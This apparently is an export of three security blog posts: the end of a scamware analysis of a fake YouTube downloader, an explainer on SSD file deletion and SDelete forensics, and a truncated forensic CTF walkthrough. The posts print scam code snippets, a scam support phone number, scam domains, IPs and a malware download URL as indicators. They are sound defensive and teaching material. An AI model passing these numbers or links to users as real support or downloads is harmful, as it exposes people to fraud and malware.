timer….and that's it, not interesting at all.\n\n```\nPrivate Sub button1_Click_1(...)\n    Me.timer1.Start()\nEnd Sub\n\n```\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 27]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/27.png\n\nOnce the timer starts, the timer1_Tick() function increments the progress bar until it reaches 99, which then throws a message box with a fake failure notice (which we saw earlier), pretty simple stuff:\n\n```\nPrivate Sub timer1_Tick(...)\n    Me.progressBar1.Increment(1)\n    If Me.progressBar1.Value = 99 Then\n        MessageBox.Show(\"Windows Helper is unable To Activate Windows Contact Support To Activate - Support Toll Free - 1-888-479-3649\")\n    End If\nEnd Sub\n\n```\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 28]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/28.png\n\nSooooooo, in other words, the entire “activation” flow is scripted to fail and prompt the user to call the number we extracted earlier…LMAO. But wait there’s more!!!\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 29]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/29.png\n\n#### Uninstall.exe and Uninstall.ini Analysis:\n\nUninstall.exeappears to be a standard Smart Install Maker uninstaller. The Uninstall.ini file simply lists the removal of the main executables, the desktop shortcut, and registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. No suspicious or hidden functionality was found.\n\n“Uninstall.ini is a configuration file that stores settings and instructions used by some programs during uninstallation. It’s a legitimate file type often used by installers or setup frameworks (like Smart Install Maker) to manage which files, folders, and registry keys should be removed” noted by What is uninstall.ini? (https://www.2-spyware.com/file-uninstall-ini.html#:~:text=Uninstall.ini%20is%20a%20configuration%20file%20used%20to%20store,a%20text%20form%20filled%20with%20properties%20and%20values.)\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 30]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/30.png\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 31]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/31.png\n\n#### URL Scoping:\n\nThe code snippet above displays the hardcoded URL http[:]//www[.]supportforme[.]com which up to this point, wasn’t automatically called out to…there was a small detail I had missed. This old bleeping computer blog: Book Source Fake Windows Activation Screen Removal Guide (https://www.bleepingcomputer.com/virus-removal/remove-book-source-fake-windows-activation-screen) notes that this domain has been used to push a remote support client, in this case, GoToAssist. GoToAssist is a legitimate application used for Remote Support. It gives the “Technician” full remote control over your computer…. you can now guess where this is going…..”Pay us if you want us to remove this”.\n\nHere’s is an example of how the page looked like:\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 32]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/32.png\n\n#### Network Activity and Indicators:\n\nI ran a nslookup query for the domain and received 2 valid A records, 15.197.148.33 and 3.33.130.190 (which we will see in Wireshark).\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 33]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/33.png\n\nRemember the Windows Activation pop up from earlier? Clicking the Supportlink within it (which I missed initially) caused Firefox to launch automatically via Process.Start() which triggers the DNS queries noted. TCPView showed multiple outbound SYN attempts to the AWS hosted IPs 3.33.130.190 and 15.197.148.33, but no handshake was completed.\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 34]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/34.png\n\nThis confirms that the executable’s Process.Start() function simply opens the user’s default browser to the scam domain….the domain infrastructure is offline obviously.\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 35]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/35.png\n\nPinging the IP results in Request Timed Out.\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 36]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/36.png\n\nBoth IPs were flagged by VirusTotal, comments also note that these relate to malicious activity.\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 37]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/37.png\n\n[Image: Scamware Analysis: FreeYoutubeDownloader.exe — image 38]\nhttps://enleak.dev/images/research/scamware-analysis-free-youtube-downloader/38.png\n\nAlthough VirusTotal flags techniques like keylogging and screen capture, no such activity was observed during static or dynamic analysis.\n\n#### Indicators of Compromise:\n\nC:\\Windows\\Free YouTube Downloader\\Free YouTube Downloader.exe\n\nC:\\Windows\\Free YouTube Downloader\\Box.exe\n\nC:\\Windows\\Free YouTube Downloader\\Uninstall.exe\n\nC:\\Windows\\Free YouTube Downloader\\Uninstall.ini\n\nC:\\Users\\<User>\\Desktop\\Free YouTube Downloader.lnk (desktop shortcut)\n\nHKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Free YouTube Downloader\n\nwww[.]youtubedownloadernew[.]com\n\nsupport@youtubedownloadernew.com\n\n1-888-479-3649\n\nhttp[:]//www[.]supportforme[.]com\n\n3.33.130.190\n\n15.197.148.33\n\n#### TLDR;\n\n“Free YouTube Downloader” is a fake installer that unpacks scamware designed to mimic Windows Activation pop ups. Every two minutes, it spawns a fake activation window urging users to call a number or visit a fake support site (supportforme[.]com), tied to old tech support scams using GoToAssist remote access. No keylogging, C2, or advanced persistence mechanisms were observed.\n"
    },
    {
      "id": "inside-file-deletion-ssds-sdelete-and-forensics",
      "title": "Inside File Deletion: SSDs, SDelete, and Forensics",
      "author": "Enleak",
      "date": "2025-06-27",
      "category": "Forensics",
      "summary": "Examine how SSD behavior, TRIM and deletion tools affect recoverable files and surviving traces.",
      "tags": [
        "forensics"
      ],
      "url": "https://enleak.dev/writing/inside-file-deletion-ssds-sdelete-and-forensics",
      "status": "published",
      "availability": "full-text",
      "textUrl": "https://deathdiaries.com/terminal/inside-file-deletion-ssds-sdelete-and-forensics.txt",
      "text": "DE&TH DIARIES\n\nInside File Deletion: SSDs, SDelete, and Forensics\nBy Enleak | 2025-06-27\nForensics | full-text\nStatus: published\n\nSource: https://enleak.dev/writing/inside-file-deletion-ssds-sdelete-and-forensics\n\nField note\n\n# Inside File Deletion: SSDs, SDelete, and Forensics\n\nThis week, I became heavily interested in the file deletion process and how it connects to digital forensics. In this blog, I will detail…\n\nPublished Jun 27, 20259 min readforensics\n\nOriginally published on Medium (https://medium.com/@enleak/inside-file-deletion-ssds-sdelete-and-forensics-efcef0498c0f).\n\n#### This week, I became heavily interested in the file deletion process and how it connects to digital forensics. In this blog, I will detail how the operating system handles deleted files at a lower level, how SSDs handle the file deletion process, including concepts like TRIM functionality, wear leveling, the role of the SSD controller and its cache, and how these factors impact secure deletion tools like SDelete and the forensic challenge of file carving. We’ll explore why, even when file content seems unrecoverable, artifacts like original filenames can sometimes still be found. This blog may seem a bit random; there is no particular reason for it, I just wanted to document my understanding. I'm always open to criticism and learning.\n\nIn order to understand how file carving works, we first have to explore the idea of file deletion in our OS and modern SSDs. I'm not going to talk much about older SSDs, although I'll reference some of their differences to modern ones. Modern SSDs use a controller to manage data efficiently through wear leveling, garbage collection, and the TRIM command. Wear leveling spreads writes evenly to prevent early failure, garbage collection clears invalid data, and TRIM tells the SSD what’s been deleted so it doesn’t waste time moving it. (This is an oversimplification, obviously.) An interesting fact we can note is that SSDs pre 2010 without TRIM wasted write/erase cycles, meaning they had shorter life spans and were probably replaced a lot more often.\n\nLet's become familiar with some common terminology:\n\nSSDs data is organized in a hierarchical structure..memory cells, pages, and blocks:\n\nMemory Cells: At the most fundamental level, data is stored in memory cells. Each cell typically stores a single bit of information (in Single-Level Cell (SLC) technology) or multiple bits (in Multi-Level Cell (MLC) or Triple Level Cell (TLC) technology). These cells are the individual storage units.\n\nPages: Multiple memory cells are grouped together to form a page. A page is the smallest unit of data that can be written to an SSD, commonly 4KB.\n\nBlocks: Multiple pages are then grouped together to form a block. A block is the smallest unit of data that can be erased in an SSD. A typical block might consist of 128 pages, meaning a 4KB page would result in a 512KB block (128 pages * 4KB/page).\n\n[Image: Inside File Deletion: SSDs, SDelete, and Forensics — image 1]\nhttps://enleak.dev/images/research/inside-file-deletion-ssds-sdelete-and-forensics/01.png\n\nUnallocated Cluster: Refers to the space on a storage disk that is available for storing new data and often contains remnants of deleted files. Recovered by locating file signatures (header, footer) and extracting data between these endpoints.\n\nSlack Space: Unused space at the end of a file\n\nSecure Deletion: When a file is deleted by teh OS, information of that file such as where it is located on the physical device in the file allocation table is removed. But the data is still physically written to storage medium, until the same physical medium is written over with new information.\n\nSSD Controller: A microprocessor embedded in the SSD that manages how data is stored, accessed, and maintained across the flash memory chips. The controller is also responsible for deciding when to run garbage collection, how to map logical to physical addresses, and managing error correction.\n\nWear Leveling: Technique used in SSDs to spread write/erase cycles evenly across memory blocks. Why is this important? If some memory blocks are used more frequently than others, then they wear out faster. Prevents early failure of specific blocks, keeps performance stable, and extends life span. Ideally, all of the blocks of the SSD need to wear out at the same rate throughout the life of the drive. (https://youtube.com/shorts/FR2GDgPTmA8?si=egvlShXT8AluDzpu (https://youtube.com/shorts/FR2GDgPTmA8?si=egvlShXT8AluDzpu)).\n\n[Image: Inside File Deletion: SSDs, SDelete, and Forensics — image 2]\nhttps://enleak.dev/images/research/inside-file-deletion-ssds-sdelete-and-forensics/02.jpg\n\nGarbage Collection: (GC): SSD process that frees up space by cleaning out\n memory blocks (Old data might still linger for a while (unless overwritten or erased securely)).\n\n[Image: Inside File Deletion: SSDs, SDelete, and Forensics — image 3]\nhttps://enleak.dev/images/research/inside-file-deletion-ssds-sdelete-and-forensics/03.png\n\nTRIM: The TRIM command enables the OS to notify the SSD that old data is no longer valid, and at the same time, it deletes the logical block addresses from its logical table. The advantage of the TRIM command is that it enables the SSD’s GC to skip the invalid data rather than moving it, thus saving time not rewriting the invalid data. (results in a reduction of the number of erase cycles on the flash memory and enables higher performance during writes). I'm going to note a comparison of modern SSDs that support TRIM vs Legacy SSDs, which handles the garbage collection process differently.\n\n[Image: Inside File Deletion: SSDs, SDelete, and Forensics — image 4]\nhttps://enleak.dev/images/research/inside-file-deletion-ssds-sdelete-and-forensics/04.png\n\nNAND flash memory(physical storage medium) is the foundational technology in SSDs that influences how data is stored, managed, and can only be erased at the block level, also has a limited amount of erase cycles. Deletion ONLY happens at the block level.\n\nCache: The cache is a fundamental part of how SSDs manage data deletion and create free space. When a block of data is to be deleted, valid pages from that block are moved to a disk controlled cache. The block is then reset, and the valid data is moved from the cache to an available block.\n\nFile Carving: To keep it simple, it’s the process of recovering files from unallocated or raw disk space.\n\n[Image: Inside File Deletion: SSDs, SDelete, and Forensics — image 5]\nhttps://enleak.dev/images/research/inside-file-deletion-ssds-sdelete-and-forensics/05.png\n\nTo help visualize this:\n\n[Image: Inside File Deletion: SSDs, SDelete, and Forensics — image 6]\nhttps://enleak.dev/images/research/inside-file-deletion-ssds-sdelete-and-forensics/06.png\n\nSo now, let's put these concepts together (if you follow me on X, sorry for explaining this again LOL, I'm going to paste my explanation from earlier):\n\n### How File Deletion Works in OS\n\nWhen you delete a file, the OS marks the clusters that the file used as unallocated, BUT the data remains physically there until it’s overwritten. This leftover space in the cluster that wasn’t fully used by the file is called slack space (later we note that data can be withheld within slack space). This slack space can hold remnants of old data until it’s overwritten…..soooooo you didn’t actually delete the data…nice. What happens if a file is bigger than a single cluster? In that case, the operating system allocates multiple clusters to store the file data. Each of these clusters will be fully or partially occupied by the file, and if the last cluster isn’t entirely filled, that’s where you’ll find slack space :).\n\n### SSDs and the TRIM Command\n\nAt the SSD level, the TRIM command comes into play by telling the SSD which blocks are no longer needed, so the SSD can handle them more efficiently during garbage collection. Before TRIM(legacy), the SSD would still move all the data, including deleted data, to a new block during garbage collection, which was less efficient and left more data recoverable for a longer time, like I mentioned. After TRIM, the SSD can skip over the blocks that contain deleted data, making garbage collection more efficient and ensuring that the deleted data is cleared out more thoroughly. Then we also have wear leveling, which is all about distributing the data evenly across the memory cells so that no single cell gets too much wear and tear. This process kicks in when new data is being written, especially if it’s taking the place of previously unallocated space. So as the SSD writes new data, it tries to spread the writes out evenly to extend the life of the drive. And guess what, the NAND flash memory is made up of all these memory blocks. A lot of information but this is relevant to forensics.\n\n[Image: Inside File Deletion: SSDs, SDelete, and Forensics — image 7]\nhttps://enleak.dev/images/research/inside-file-deletion-ssds-sdelete-and-forensics/07.png\n\n### Secure Deletion Tools: Spotlight on SDelete\n\nOkay to im going to try to put things together a bit more here, “Secure State Deletion: Testing the efficacy and integrity of secure deletion tools on Solid State Drives” established that even if carving tools like Scalpel detect remnants of files after SDelete use (on SSDs without TRIM)(I haven’t read similar tests on newer SSDs)…the actual data is “rendered unreadable and unusable”. SDelete’s overwriting process destroys the original file content. For normal files, SDelete is straightforward: it repeatedly writes over the file’s data with special patterns (like zeros or random data) before actually removing the file. “It also renames the file many times (“foo.txt” becomes “AAA[.]AAA”) to make its original name unidentifiable”.\n\n### Forensic Implications & File Carving\n\nNOW, one interesting thing to note is that “Forensic Detection of Files Deleted via SDelete” shows us that SDelete’s renaming process, which creates those “AAAAAAA[.]AAAAA” artifacts we just talked about, leaves detectable traces in the USN Journal ($J file). “This stream contains records of filesystem operations, primarily to allow backup applications visibility into the files that have been changed since the last time a backup was run”. By analyzing these entries, specifically looking for the 26 alphabetical renames with the same timestamp, and then filtering by the EntryNumber (which links back to the original file’s creation), we can uncover the original file name. Pretty cool insight, and it helps to understand how file deletion works in the first place, making understanding Sdelete a whole lot easier ngl. So Sdelete is effective in preventing file carving, but doesn’t really hide what was there in the first place.\n\n[Image: Inside File Deletion: SSDs, SDelete, and Forensics — image 8]\nhttps://enleak.dev/images/research/inside-file-deletion-ssds-sdelete-and-forensics/08.jpg\n\n### Key Takeaways:\n\nDeleting a file doesn’t actually erase it. The operating system just marks its storage space as unallocated, leaving the data recoverable until it’s overwritten.\n\nSlack space and unallocated clusters can contain fragments of deleted or partial files, making them valuable.\n\nSSDs manage data differently than HDDs, using a controller, wear leveling, garbage collection, and TRIM commands to optimize performance and lifespan.\n\nThe TRIM command helps SSDs “forget” deleted data by informing the controller which blocks are no longer valid. This makes data recovery after deletion much harder.\n\nSecure deletion tools like SDelete overwrite data, making file carving difficult or impossible. However, metadata artifacts (like filenames) can still sometimes be recovered.\n\nSDelete renames files multiple times before deletion, and these rename operations can leave traces in the USN Journal, revealing forensic clues.\n\nModern SSDs are harder to investigate with traditional forensic techniques due to how they handle data deletion at the block level and obscure actual physical locations of files.\n\n#### Resources Utilized:\n\n“Forensic Data Carving” chapter from Digital Forensics and Cyber Crime.\n\nFikri, and Nurhayati Buslim. “The Analysis of File Carving Process Using Photorec and Foremost.” ResearchGate, unknown, 14 July 2020, www.researchgate.net/publication/342925810_The_Analysis_of_File_Carving_Process_Using_Photorec_and_Foremost. (http://www.researchgate.net/publication/342925810_The_Analysis_of_File_Carving_Process_Using_Photorec_and_Foremost.) Accessed 27 June 2025.\n\nFreeman, Michael, and Andrew Woodward. “Secure State Deletion: Testing the Efficacy and Integrity of Secure Deletion Tools on Solid State Drives.” ResearchGate, unknown, 2009, www.researchgate.net/publication/49284163_Secure_State_Deletion_Testing_the_efficacy_and_integrity_of_secure_deletion_tools_on_Solid_State_Drives. (http://www.researchgate.net/publication/49284163_Secure_State_Deletion_Testing_the_efficacy_and_integrity_of_secure_deletion_tools_on_Solid_State_Drives.) Accessed 27 June 2025.‌\n\ninversecos. “Forensic Detection of Files Deleted via SDelete.” Inversecos.com, Blogger, 6 Sept. 2022, www.inversecos.com/2022/09/forensic-detection-of-files-deleted-via.html. (http://www.inversecos.com/2022/09/forensic-detection-of-files-deleted-via.html.) Accessed 27 June 2025.\n\nReardon, J., et al. “SoK: Secure Data Deletion.” 2013 IEEE Symposium on Security and Privacy, May 2013, oaklandsok.github.io/papers/reardon2013.pdf, https://doi.org/10.1109/sp.2013.28. (https://doi.org/10.1109/sp.2013.28.)‌‌\n\nTokar, Les. “Garbage Collection and TRIM in SSDs Explained — an SSD Primer.” The SSD Review, 17 Apr. 2012, www.thessdreview.com/daily-news/latest-buzz/garbage-collection-and-trim-in-ssds-explained-an-ssd-primer/. (http://www.thessdreview.com/daily-news/latest-buzz/garbage-collection-and-trim-in-ssds-explained-an-ssd-primer/.)\n\nWarlock. “File Carving | Infosec.” Www.infosecinstitute.com, (http://Www.infosecinstitute.com,) 4 Feb. 2018, www.infosecinstitute.com/resources/digital-forensics/file-carving/. (http://www.infosecinstitute.com/resources/digital-forensics/file-carving/.)\n\n‌\n\n‌\n"
    },
    {
      "id": "verboten-forensic-ctf-walkthrough",
      "title": "Verboten: Forensic CTF Walkthrough",
      "author": "Enleak",
      "date": "2025-06-14",
      "category": "Forensics",
      "summary": "Reconstruct a USB-triggered Windows compromise using registry artifacts and other forensic evidence.",
      "tags": [
        "digital-forensics"
      ],
      "url": "https://enleak.dev/writing/verboten-forensic-ctf-walkthrough",
      "status": "published",
      "availability": "full-text",
      "textUrl": "https://deathdiaries.com/terminal/verboten-forensic-ctf-walkthrough.txt",
      "text": "DE&TH DIARIES\n\nVerboten: Forensic CTF Walkthrough\nBy Enleak | 2025-06-14\nForensics | full-text\nStatus: published\n\nSource: https://enleak.dev/writing/verboten-forensic-ctf-walkthrough\n\nField note\n\n# Verboten: Forensic CTF Walkthrough\n\nRandon, an IT employee, finds a USB on his desk after recess. Unable to contain his curiosity he decides to plug it in. Suddenly the…\n\nPublished Jun 14, 202511 min readdigital-forensics\n\nOriginally published on Medium (https://medium.com/@enleak/verboten-ctf-challenge-walkthrough-07809b539216).\n\nRandon, an IT employee, finds a USB on his desk after recess. Unable to contain his curiosity he decides to plug it in. Suddenly the computer goes haywire and before he knows it, some windows pops open and closes on its own. With no clue of what just happened, he tries seeking help from a colleague. Even after Richard’s effort to remove the malware, Randon noticed that the malware persisted after his system restarted.\n\n[Image: Verboten: Forensic CTF Walkthrough — image 1]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/01.jpg\n\nMy opinion:\n\nI’d consider this challenge a great entry point for beginners. I chose it arbitrarily, and it turned out to be a solid introduction compared to more advanced challenges.\n\nQ1) What is the serial number of the sandisk usb that he plugged into the system? And when did he plug it into the system? Format: verboten{serial_number:YYYY-MM-DD-HH-MM-SS}\n\nTo uncover the serial number of the USB device Randon plugged in, we began by examining artifacts tied to USB device enumeration. One of the most direct methods is inspecting the Windows Registry, where the OS stores detailed information about hardware interaction (amongst other things), including connected USB devices. To access that information, we first need to retrieve the SYSTEM and SOFTWARE registry hives from FTK Imager. The hives are located under C:\\Windows\\System32\\configas shown below.\n\n![SYSTEM and SOFTWARE hives under C:\\Windows\\System32\\config](/images/research/verboten-forensic-ctf-walkthrough/02.png) _SYSTEM and SOFTWARE hives under C:\\Windows\\System32\\config_\n\nNow that we have saved these hives onto our local host, they can be loaded into Registry Explorer to examine the entries. For some context, these are a handful of relevant storage device-related registry keys: HKLM\\SOFTWARE\\Microsoft\\Windows Portable Devices\\Devices, HKLM\\SYSTEM\\CurrentControlSet\\Enum\\USB, HKLM\\SYSTEM\\CurrentControlSet\\Enum\\USBSTOR, and HKLM\\SYSTEM\\MountedDevices.\n\nUnder USBSTORwe acquire the necessary details to aid in our investigation:\n\nLast Connected (Confirms when the USB was last plugged in): 2024-02-16 12:01:57\n\nSerial Number (The unique serial number of the USB device. This is key to identifying the exact device): 4C53000109031210395380\n\nManufacturer (Indicates the vendor/manufacturer of the USB): Ven_SanDisk\n\nDevice Name (Friendly name assigned by Windows or reported by the device): SanDisk Ultra USB Device\n\n[Image: Verboten: Forensic CTF Walkthrough — image 3]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/03.png\n\nAnswer: verboten{4C530001090312109353&0:2024–02–16 12:01:57}\n\nQ2) What is the hash of the url from which the executable in the usb downloaded the malware from? Format: verboten{md5(url)}\n\nGoogle Chrome History Location | Chrome History Viewer\n _Chrome history is mainly stored within SQLite databases located in the Chrome profile folder. Browser History Examiner…_www.foxtonforensics.com (https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location) (https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location)\n\nChrome stores artifacts including cached data, history, cookies, downloads and even saved passwords inside specific folders in the operating system. This is helpful in identifying the source of malware, phishing websites, and strange binaries.\n\nAs mentioned by “Browser Forensics: Google Chrome (https://www.infosecinstitute.com/resources/digital-forensics/browser-forensics-google-chrome/)”, /Users/random/AppData/Local/Google/Chrome/User Data/Default/History and /Users/random/AppData/Local/Google/Chrome/User Data/ChromeDefaultData/Historyare the relevant paths if we’re interested in downloads, navigation history, and search history.\n\n[Image: /Users/random/AppData/Local/Google/Chrome/User Data/Default/History]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/04.png\n /Users/random/AppData/Local/Google/Chrome/User Data/Default/History\n\nIf we open this database using SQLite Database and navigate to the downloads table, we see some interesting artifacts including two entries under the tab_url and current_pathcolumns noting the retrieval of two files including “mal” and “winrar-x64–624.exe”. The ones we are interested in are:\n\nTarget_Path (Notes the full file path where the file was saved on the system): C:\\Users\\randon\\Downloads\\mal\n\nRecevied_Bytes (number of bytes downloaded for a file): 985903\n\nTab_Url (URL that initiated the download): https[:]//filebin[.]net/qde72esvln1cor0t/mal\n\n[Image: Verboten: Forensic CTF Walkthrough — image 5]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/05.png\n\nIn order to get the MD5 hash of the URL, we’re going to utilize WSL as it was easier for this particular task:\n\n[Image: Image containing both artifacts under tab_url]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/06.png\n Image containing both artifacts under tab_url\n\n```\necho -n \"https://filebin.net/qde72esvln1cor0t/mal\" | md5sum\n\n```\n\n[Image: Output: 11ecc1766b893aa2835f5e185147d1d2]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/07.png\n Output: 11ecc1766b893aa2835f5e185147d1d2\n\nAnswer: verboten{11ecc1766b893aa2835f5e185147d1d2}\n\nQ3) What is the hash of the malware that the executable in the usb downloaded which persisted even after the efforts to remove the malware? Format: verboten{md5{malware_executable)}\n\nWe inspected two common Windows Registry keys often abused for persistence: HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run and HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOncewhich run specified programs on startup every time the user logs in, with Run executing on every login and RunOnceexecuting only once.\n\n[Image: Verboten: Forensic CTF Walkthrough — image 8]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/08.png\n\n[Image: Verboten: Forensic CTF Walkthrough — image 9]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/09.png\n\nAlbeit, we did not find anything in either of those registry keys. We continued with the “on startup” theme in mind and quickly navigated to the Start Menu\\Programs\\Startupfolder that hosts shortcuts to programs that automatically launch when a user logs in.\n\n```\nC:\\\\Users\\\\random\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\mal.exe\n\n```\n\n[Image: Verboten: Forensic CTF Walkthrough — image 10]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/10.png\n\nIn the startup folder, we see the suspicious mal.exefrom earlier. To grab the hash, let's export it to our machine and upload it to VirusTotal, which details the MD5 hash under the Detailstab.\n\n[Image: Verboten: Forensic CTF Walkthrough — image 11]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/11.png\n\nAnother way we can grab the hash is by simply using certutil.\n\n```\nCertutil -HashFile ./mal.exe MD5\n\n```\n\nAsnwer: verboten{169cbd05b7095f4dc9530f35a6980a79}\n\nQ4) What is the hash of the zip file and the invite address of the remote desktop that was sent through slack? Format: verboten{md5(zip_file):invite_address}\n\nFor this question, the very first two steps I took are opening the SANS application forensics cheatsheet which contains the path to relevant artifacts we need and googling “Slack Chat Forensics”.\n\n[Image: SANS CheatSheet]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/12.png\n SANS CheatSheet\n\nThe blog “Forensics: Finding slack chat artifacts (https://medium.com/@jeroenverhaeghe/forensics-finding-slack-chat-artifacts-d5eeffd31b9c)” details that, “in the file location below the most recent chats are stored in a LevelDb database. All of the data in this file is unencrypted. You can open it with Notepad to view the most recent chats but it’s better to use a levelDb reader. These files contain data stored from chrome indexedDB. Slack underlyingly uses Chromium (google chrome based browser). Slack stores the recent chats and the recently viewed user data in these files”. Let’s extract the relevant file using FTK Imager from/Users/randon/AppData/Roaming/Slack/IndexedDB/https_app.slack.com_0.indexeddb.blob/1/00/a.\n\n```\n<usersFolder>\\<username\\AppData\\Roaming\\Slack\\IndexedDB\\https_app.slack.com_0.indexeddb.leveldb\n\n```\n\n[Image: Verboten: Forensic CTF Walkthrough — image 13]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/13.png\n\nSlack-Parser was noted to aid in parsing slack databases and extracting user-data, chat history, workspace information. In order to run this script, let’s make sure we have the correct python version………..python can’t be found (ofc it can’t, let’s not ask any questions), so lets download it real quick:\n\n[Image: Verboten: Forensic CTF Walkthrough — image 14]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/14.png\n\nNow that python3 is installed, the script is in our current directory from https://github.com/0xHasanM/Slack-Parser (https://github.com/0xHasanM/Slack-Parser) and the relevant file is extracted, lets run it with the parameters below (which is just the file location). We extract the string \"here is the address for anydesk: 1541069606\".\n\n```\nC:\\Users\\Administrator\\Downloads\\CTF\\Verboten\\https_app.slack.com_0.indexeddb.blob\\1\\00\\a\n\n```\n\n[Image: Verboten: Forensic CTF Walkthrough — image 15]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/15.png\n\nAcquiring the hash of the zip file requires us to first note the location of where Slack caches data like file name, content size, and date modified. Navigating to the path below reveals us all the relevant files with the f_0000adfile being the biggest at 19,695 KB, ultimately making it the file we scrutinize.\n\n```\nC:\\Users\\%user%\\AppData\\Roaming\\Slack\\Cache\\\n\n```\n\n[Image: Verboten: Forensic CTF Walkthrough — image 16]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/16.png\n\n[Image: Verboten: Forensic CTF Walkthrough — image 17]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/17.png\n\nThere are two methods we can utilize to confirm that this file is indeed the relevant shredder.zip file. The first method involves uploading the file in VirusTotal which reveals it as file_shredders.zipunder theDetailstab, from here we can also grab its MD5 hash.\n\n[Image: Verboten: Forensic CTF Walkthrough — image 18]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/18.png\n\nThe second method involves a string search for the relevant file. The search outputs two interesting results, Output 1 noting metadata that includes embeddedRelationshipId: shredders.rar and Output 2 noting that it was downloaded from a private workspace (T06JY4V3FE1) and associated with file ID F06KY7SM0UJ, additional interesting artifacts including:\n\nDownload URL: https[:]//files[.]slack[.]com/files-pri/T06JY4V3FE1-F06KY7SM0UJ/download/file_shredders.zip?origin_team=T06JY4V3FE1\n\nFile Name: file_shredder.zip\n\nContent-Length: 20167539\n\n[Image: Output 1]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/19.png\n Output 1\n\n[Image: Output 2]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/20.png\n Output 2\n\n[Image: File search results]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/21.png\n File search results\n\n```\n<https://files.slack.com/files-pri/T06J4V43FE1-F06K7Y9MOJU/download/file_shredders.zip>\n\n```\n\nAnswer: verboten{b092eb225b07e17ba8a70b755ba97050:1541069606}\n\nQ5) What is the hash of all the files that were synced to Google Drive before it was shredded? Format: verboten{md5 of each file separated by ‘:’}\n\nWindows Google Drive\n _16/12/2022 Friday Google Drive is a cloud- based file storage service similar to Microsoft OneDrive and Apple iCloud…_forensafe.com (https://forensafe.com/blogs/windows_google_drive.html) (https://forensafe.com/blogs/windows_google_drive.html)\n\nSANS Application forensics cheatsheet notes interesting paths found on our OS that store artifacts relevant to Google Drive.\n\n[Image: Verboten: Forensic CTF Walkthrough — image 22]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/22.png\n\nUnderusers/randon/AppData/Local/Google/DriveFS/110922692857671422467/content_cache we see caches file content and database files that track access. Some neat things to keep in mind:\n\nThese temporary files may persist even after deletion from the cloud.\n\nIf a file was opened but not saved, it might still exist in cache.\n\nCached files lack original filenames but can be matched via metadata.\n\n[Image: Verboten: Forensic CTF Walkthrough — image 23]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/23.png\n\nWe run treein order to confirm we captured all the exported files and follow up by gathering the MD5 hash of each file with certutil.\n\n[Image: Verboten: Forensic CTF Walkthrough — image 24]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/24.png\n\nverboten{ae679ca994f131ea139d42b507ecf457, 4a47ee64b8d91be37a279aa370753ec9, 870643eec523b3f33f6f4b4758b3d14c, c143b7a7b67d488c9f9945d98c934ac6, e6e6a0a39a4b298c2034fde4b3df302a}\n\nQ6) What is time of the incoming connection on AnyDesk? And what is the ID of user from which the connection is requested? Format: verboten{YYYY-MM-DD-HH-MM-SS:user_id}\n\nAnyDesk Forensics | AnyDesk Log Analysis\n _In this blogpost we will cover AnyDesk forensics and go over the AnyDesk logs from an Incident Response perspective…_medium.com (https://medium.com/@tylerbrozek/anydesk-forensics-anydesk-log-analysis-b77ea37b90f1) (https://medium.com/@tylerbrozek/anydesk-forensics-anydesk-log-analysis-b77ea37b90f1)\n\nTo answer this question, we need to know where the operating system stores AnyDesk logs. These log files are typically located in the following directories:\n\nC:\\\\Users\\\\%username%\\\\AppData\\\\Roaming\\\\AnyDesk\\\\ad.trace\n 